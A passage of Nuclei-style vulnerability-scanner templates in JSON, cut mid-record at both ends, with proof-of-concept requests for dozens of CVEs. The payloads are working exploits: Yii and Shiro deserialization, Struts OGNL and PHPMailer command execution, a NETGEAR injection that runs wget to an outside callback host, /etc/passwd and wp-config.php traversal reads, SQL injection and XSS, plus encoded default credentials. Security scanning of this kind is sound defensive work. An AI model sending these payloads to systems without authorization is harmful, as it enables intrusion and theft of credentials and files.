Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/infusions/downloads/downloads.php?cat_id=${system(ls)}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["infusion_db.php"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-11710","info":{"name":"Kong Admin <=2.03 - Admin API Access","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Welcome to kong","configuration","kong_env"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-19515","info":{"name":"qdPM 9.1 - Cross-site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/install/index.php?step=database_config&db_error="],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["","qdPM"],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-35338","info":{"name":"Wireless Multiplex Terminal Playout Server <=20.2.8 - Default Credential Detection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/server/"],"headers":{"Authorization":"Basic OnBva29u"},"matchers-condition":"and","matchers":[{"type":"word","words":["WMT Server playout"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-26214","info":{"name":"Alerta < 8.1.0 - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/api/config"],"matchers-condition":"and","matchers":[{"type":"dsl","dsl":["compare_versions(version, '< 8.1.0')"]},{"type":"word","part":"body","words":["\"alarm_model\"","\"actions\"","\"severity\""],"condition":"and"},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"version","group":1,"regex":["\"name\": \"Alerta ([0-9.]+)\""],"internal":true},{"type":"regex","group":1,"regex":["\"name\": \"Alerta ([0-9.]+)\""]}]}]},{"id":"CVE-2020-23015","info":{"name":"OPNsense <=20.1.5 - Open Redirect","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?url=http://interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?://|//)?(?:[a-zA-Z0-9\\-_]*\\.)?interact\\.sh(?:\\s*?)$"]}]}]},{"id":"CVE-2020-12478","info":{"name":"TeamPass 2.1.27.36 - Improper Authentication","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/files/ldap.debug.txt"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Get all LDAP params"]},{"type":"word","part":"header","words":["text/plain"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-15148","info":{"name":"Yii 2 < 2.0.38 - Remote Code Execution","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?r=test/sss&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjE6InlpaVxyZXN0XENyZWF0ZUFjdGlvbiI6Mjp7czoxMToiY2hlY2tBY2Nlc3MiO3M6Njoic3lzdGVtIjtzOjI6ImlkIjtzOjY6ImxzIC1hbCI7fWk6MTtzOjM6InJ1biI7fX19fQ=="],"matchers-condition":"and","matchers":[{"type":"word","words":["total","An internal server error occurred."],"condition":"and"},{"type":"status","status":[500]}]}]},{"id":"CVE-2020-13942","info":{"name":"Apache Unomi <1.5.2 - Remote Code Execution","severity":"critical"},"requests":[{"method":"POST","path":["{{BaseURL}}/context.json"],"body":"{\n  \"filters\": [\n    {\n      \"id\": \"{{id}}\",\n      \"filters\": [\n        {\n          \"condition\": {\n            \"parameterValues\": {\n              \"nuclei\": \"script::Runtime.getRuntime().exec('id')\"\n            },\n            \"type\": \"profilePropertyCondition\"\n          }\n        }\n      ]\n    }\n  ],\n  \"sessionId\": \"nuclei\"\n}\n","headers":{"Content-Type":"application/json"},"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["application/json","context-profile-id"],"condition":"and"},{"type":"regex","part":"body","regex":["(profile|session)(Id|Properties|Segments)","[a-f0-9]{8}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{4}-[a-f0-9]{12}"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2020-20988","info":{"name":"DomainMOD 4.13.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nnew_username={{username}}&new_password={{password}}\n","POST /reporting/domains/cost-by-owner.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\ndaterange=%22%2F%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E\n"],"cookie-reuse":true,"req-condition":true,"host-redirects":true,"max-redirects":2,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(header_2, \"text/html\")","contains(body_2, \"value=\\\"\\\"/><script>alert(document.domain)</script>\")","contains(body_2, \"DomainMOD\")"],"condition":"and"}]}]},{"id":"CVE-2004-0519","info":{"name":"SquirrelMail 1.4.x - Folder Name Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/mail/src/compose.php?mailbox=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2004-1965","info":{"name":"Open Bulletin Board (OpenBB) v1.0.6 - Open Redirect/XSS","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/index.php?redirect=http%3A%2F%2Fwww.interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)?(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2016-4437","info":{"name":"Apache Shiro 1.2.4 Cookie RememberME - Deserial Remote Code Execution Vulnerability","severity":"high"},"requests":[{"raw":["GET / HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\nCookie: rememberMe={{base64(concat(base64_decode(\"QUVTL0NCQy9QS0NTNVBhZA==\"),aes_cbc(base64_decode(generate_java_gadget(\"dns\", \"http://{{interactsh-url}}\", \"base64\")), base64_decode(\"kPH+bIxk5D2deZiIxcaaaA==\"), base64_decode(\"QUVTL0NCQy9QS0NTNVBhZA==\"))))}}\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["dns"]}]}]},{"id":"CVE-2016-10134","info":{"name":"Zabbix - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)::"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Error in query [INSERT INTO profiles (profileid, userid","You have an error in your SQL syntax"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-0957","info":{"name":"Adobe AEM Dispatcher <4.15 - Rules Bypass","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/system/console?.css"],"headers":{"Authorization":"Basic YWRtaW46YWRtaW4K"},"matchers-condition":"and","matchers":[{"type":"word","words":["Adobe","java.lang","(Runtime)"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000129","info":{"name":"WordPress defa-online-image-protector <=3.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/defa-online-image-protector/redirect.php?r=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000143","info":{"name":"WordPress Photoxhibit 2.1.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/photoxhibit/common/inc/pages/build.php?gid=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10367","info":{"name":"Opsview Monitor Pro - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/monitoring/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252fetc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:[x*]:0:0"]},{"type":"status","status":[404]}]}]},{"id":"CVE-2016-2389","info":{"name":"SAP xMII 15.0 for SAP NetWeaver 7.4 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/XMII/Catalog?Mode=GetFileList&Path=Classes/../../../../../../../../../../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000141","info":{"name":"WordPress Page Layout builder v1.9.3 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/page-layout-builder/includes/layout-settings.php?layout_settings_id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000146","info":{"name":"WordPress Pondol Form to Mail <=1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/pondol-formmail/pages/admin-mail-info.php?itemid=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-4977","info":{"name":"Spring Security OAuth2 Remote Command Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/oauth/authorize?response_type=${13337*73331}&client_id=acme&scope=openid&redirect_uri=http://test"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Unsupported response types: [978015547]"]},{"type":"status","status":[400]}]}]},{"id":"CVE-2016-10993","info":{"name":"ScoreMe Theme - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/?s=%22%2F%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["</script><script>alert(document.domain)</script>"]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-5649","info":{"name":"NETGEAR DGN2200 / DGND3700 - Admin Password Disclosure","severity":"critical"},"requests":[{"raw":["GET /BSW_cxttongr.htm HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8\n"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["<title>Smart Wizard Result "]},{"type":"status","status":[200]}],"extractors":[{"type":"regex","name":"password","group":1,"regex":["Success \"([a-z]+)\""],"part":"body"}]}]},{"id":"CVE-2016-1000135","info":{"name":"WordPress HDW Video Gallery <=1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/hdw-tube/mychannel.php?channel=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000128","info":{"name":"WordPress anti-plagiarism <=3.60 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/anti-plagiarism/js.php?m=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000132","info":{"name":"WordPress enhanced-tooltipglossary 3.2.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/enhanced-tooltipglossary/backend/views/admin_importexport.php?itemsnumber=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&msg=imported"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10973","info":{"name":"Brafton WordPress Plugin < 3.4.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In\n","GET /wp-admin/admin.php?page=BraftonArticleLoader&tab=alert%28document.domain%29 HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"matchers":[{"type":"dsl","dsl":["status_code_2 == 200","contains(content_type_2, \"text/html\")","contains(body_2, \"tab = alert(document.domain);\")","contains(body_2, \"Brafton Article Loader\")"],"condition":"and"}]}]},{"id":"CVE-2016-7834","info":{"name":"Sony IPELA Engine IP Camera - Hardcoded Account","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/command/prima-factory.cgi"],"headers":{"Authorization":"Bearer cHJpbWFuYTpwcmltYW5h"},"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["gen5th","gen6th"],"condition":"or"},{"type":"status","status":[204]}]}]},{"id":"CVE-2016-1000154","info":{"name":"WordPress WHIZZ <=1.0.7 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/whizz/plugins/delete-plugin.php?plugin=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000153","info":{"name":"WordPress Tidio Gallery <=1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/tidio-gallery/popup-insert-help.php?galleryId=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-6601","info":{"name":"ZOHO WebNMS Framework <5.2 SP1 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/servlets/FetchFile?fileName=../../../etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-3978","info":{"name":"Fortinet FortiOS  - Open Redirect/Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/login?redir=http://www.interact.sh"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]}]}]},{"id":"CVE-2016-1000134","info":{"name":"WordPress HDW Video Gallery <=1.2 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/hdw-tube/playlist.php?playlist=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10940","info":{"name":"WordPress zm-gallery plugin 1.0 SQL Injection","severity":"high"},"requests":[{"raw":["POST /wp-login.php HTTP/1.1\nHost: {{Hostname}}\nOrigin: {{RootURL}}\nContent-Type: application/x-www-form-urlencoded\nCookie: wordpress_test_cookie=WP%20Cookie%20check\n\nlog={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1\n","GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7422)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1\nHost: {{Hostname}}\n","GET /wp-admin/admin.php?page=zm_gallery&orderby=(SELECT%20(CASE%20WHEN%20(7422=7421)%20THEN%200x6e616d65%20ELSE%20(SELECT%203211%20UNION%20SELECT%208682)%20END))&order=desc HTTP/1.1\nHost: {{Hostname}}\n"],"cookie-reuse":true,"req-condition":true,"matchers":[{"type":"dsl","dsl":["status_code_1 == 302 && status_code_2 == 200 && status_code_3 == 200","contains(body_2, \"[zm_gallery id=\")","contains(body_2, \"\")","!contains(body_3, \"\")"],"condition":"and"}]}]},{"id":"CVE-2016-1555","info":{"name":"NETGEAR WNAP320 Access Point Firmware - Remote Command Injection","severity":"critical"},"requests":[{"raw":["POST /boardDataWW.php HTTP/1.1\nHost: {{Hostname}}\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nmacAddress=112233445566%3Bwget+http%3A%2F%2F{{interactsh-url}}%23®info=0&writeData=Submit\n"],"matchers":[{"type":"word","part":"interactsh_protocol","words":["http"]}]}]},{"id":"CVE-2016-10924","info":{"name":"Wordpress Zedna eBook download <1.2 - Local File Inclusion","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["DB_NAME","DB_PASSWORD"],"condition":"and"},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-6277","info":{"name":"NETGEAR Routers - Remote Code Execution","severity":"high"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/;cat$IFS/etc/passwd"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000133","info":{"name":"WordPress forget-about-shortcode-buttons 1.1.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/forget-about-shortcode-buttons/assets/js/fasc-buttons/popup.php?source=1&ver=1%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10368","info":{"name":"Opsview Monitor Pro - Open Redirect","severity":"medium"},"requests":[{"raw":["POST /login HTTP/1.1\nHost: {{Hostname}}\nContent-Type: application/x-www-form-urlencoded\n\nlogin_username={{username}}&login_password={{password}}&login=&back=//www.interact.sh&app=OPSVIEW\n"],"matchers-condition":"and","matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Location\\s*?:\\s*?)(?:https?:\\/\\/|\\/\\/|\\/\\\\\\\\|\\/\\\\)(?:[a-zA-Z0-9\\-_\\.@]*)interact\\.sh\\/?(\\/|[^.].*)?$"]},{"type":"status","status":[302]}]}]},{"id":"CVE-2016-1000130","info":{"name":"WordPress e-search <=1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/e-search/tmpl/date_select.php?date-from=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000138","info":{"name":"WordPress Admin Font Editor <=1.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/indexisto/assets/js/indexisto-inject.php?indexisto_index=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-10033","info":{"name":"WordPress PHPMailer < 5.2.18 - Remote Code Execution","severity":"critical"},"requests":[{"raw":["GET /?author=1 HTTP/1.1\nHost: {{Hostname}}\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\n\n","POST /wp-login.php?action=lostpassword HTTP/1.1\nHost: target(any -froot@localhost -be ${run{${substr{0}{1}{$spool_directory}}bin${substr{0}{1}{$spool_directory}}touch${substr{10}{1}{$tod_log}}${substr{0}{1}{$spool_directory}}tmp${substr{0}{1}{$spool_directory}}success}} null)\nAccept: */*\nContent-Type: application/x-www-form-urlencoded\n\nwp-submit=Get+New+Password&redirect_to=&user_login={{username}}\n\n"],"unsafe":true,"matchers-condition":"and","matchers":[{"type":"word","part":"header","words":["wp-login.php?checkemail=confirm"]},{"type":"status","status":[302]}],"extractors":[{"type":"regex","name":"username","group":1,"regex":["Author:(?:[A-Za-z0-9 -\\_=\"]+)?([A-Za-z0-9]+)<\\/span>"],"internal":true,"part":"body"}]}]},{"id":"CVE-2016-3081","info":{"name":"Apache S2-032 Struts - Remote Code Execution","severity":"high"},"requests":[{"raw":["GET /index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=cat%20/etc/passwd HTTP/1.1\nHost: {{Hostname}}\n"],"matchers-condition":"and","matchers":[{"type":"regex","regex":["root:.*:0:0:"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000137","info":{"name":"WordPress Hero Maps Pro 2.1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/hero-maps-pro/views/dashboard/index.php?v=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-7552","info":{"name":"Trend Micro Threat Discovery Appliance 2.6.1062r1 - Authentication Bypass","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/cgi-bin/logoff.cgi"],"headers":{"Cookie":"session_id=../../../opt/TrendMicro/MinorityReport/etc/igsa.conf"},"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["Memory map"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000126","info":{"name":"WordPress Admin Font Editor <=1.8 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/admin-font-editor/css.php?size=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000155","info":{"name":"WordPress WPSOLR <=8.6 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/wpsolr-search-engine/classes/extensions/managed-solr-servers/templates/template-my-accounts.php?page=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000152","info":{"name":"WordPress Tidio-form <=1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/tidio-form/popup-insert-help.php?formId=%22%3E%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000131","info":{"name":"WordPress e-search <=1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/e-search/tmpl/title_az.php?title_az=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000139","info":{"name":"WordPress Infusionsoft Gravity Forms <=1.5.11 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/infusionsoft/Infusionsoft/examples/leadscoring.php?ContactId=%22%3E%3Cscript%3Ealert%28document.domain%29%3B%3C%2Fscript%3E%3C%22"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["\"><\"","input type=\"text\" name=\"ContactId\""],"condition":"and"},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000127","info":{"name":"WordPress AJAX Random Post <=2.00 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/ajax-random-post/js.php?interval=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-8527","info":{"name":"Aruba Airwave <8.2.3.1 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/visualrf/group_list.xml?aps=1&start=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&end=500&match"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-1000136","info":{"name":"WordPress heat-trackr 1.0 - Cross-Site Scripting","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/wp-content/plugins/heat-trackr/heat-trackr_abtest_add.php?id=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"],"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":[""]},{"type":"word","part":"header","words":["text/html"]},{"type":"status","status":[200]}]}]},{"id":"CVE-2016-3088","info":{"name":"Apache ActiveMQ Fileserver - Arbitrary File Write","severity":"critical"},"requests":[{"raw":["PUT /fileserver/{{randstr}}.txt HTTP/1.1\nHost: {{Hostname}}\n\n{{rand1}}\n","GET /fileserver/{{randstr}}.txt HTTP/1.1\nHost: {{Hostname}}\n"],"req-condition":true,"matchers":[{"type":"dsl","dsl":["status_code_1==204","status_code_2==200","contains((body_2), '{{rand1}}')"],"condition":"and"}]}]},{"id":"CVE-2016-6195","info":{"name":"vBulletin <= 4.2.3 - SQL Injection","severity":"critical"},"requests":[{"method":"GET","path":["{{BaseURL}}/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27","{{BaseURL}}/boards/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27","{{BaseURL}}/board/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27","{{BaseURL}}/forum/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27","{{BaseURL}}/forums/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27","{{BaseURL}}/vb/forumrunner/request.php?d=1&cmd=get_spam_data&postids=-1%27"],"stop-at-first-match":true,"matchers-condition":"and","matchers":[{"type":"word","part":"body","words":["type=dberror"]},{"type":"status","status":[200,503],"condition":"or"}]}]},{"id":"CVE-2016-4975","info":{"name":"Apache mod_userdir CRLF injection","severity":"medium"},"requests":[{"method":"GET","path":["{{BaseURL}}/~user/%0D%0ASet-Cookie:crlfinjection"],"matchers":[{"type":"regex","part":"header","regex":["(?m)^(?:Set-Cookie\\s*?:(?:\\s*?|.*?;\\s*?))(crlfinjection=crlfinjection)(?:\\s*?)(?:$|;)"]}]}]},{"id":"CVE-2016-1000140","info":{"name":"WordPress New Year Firework <=1.1.9 - Cross-Site 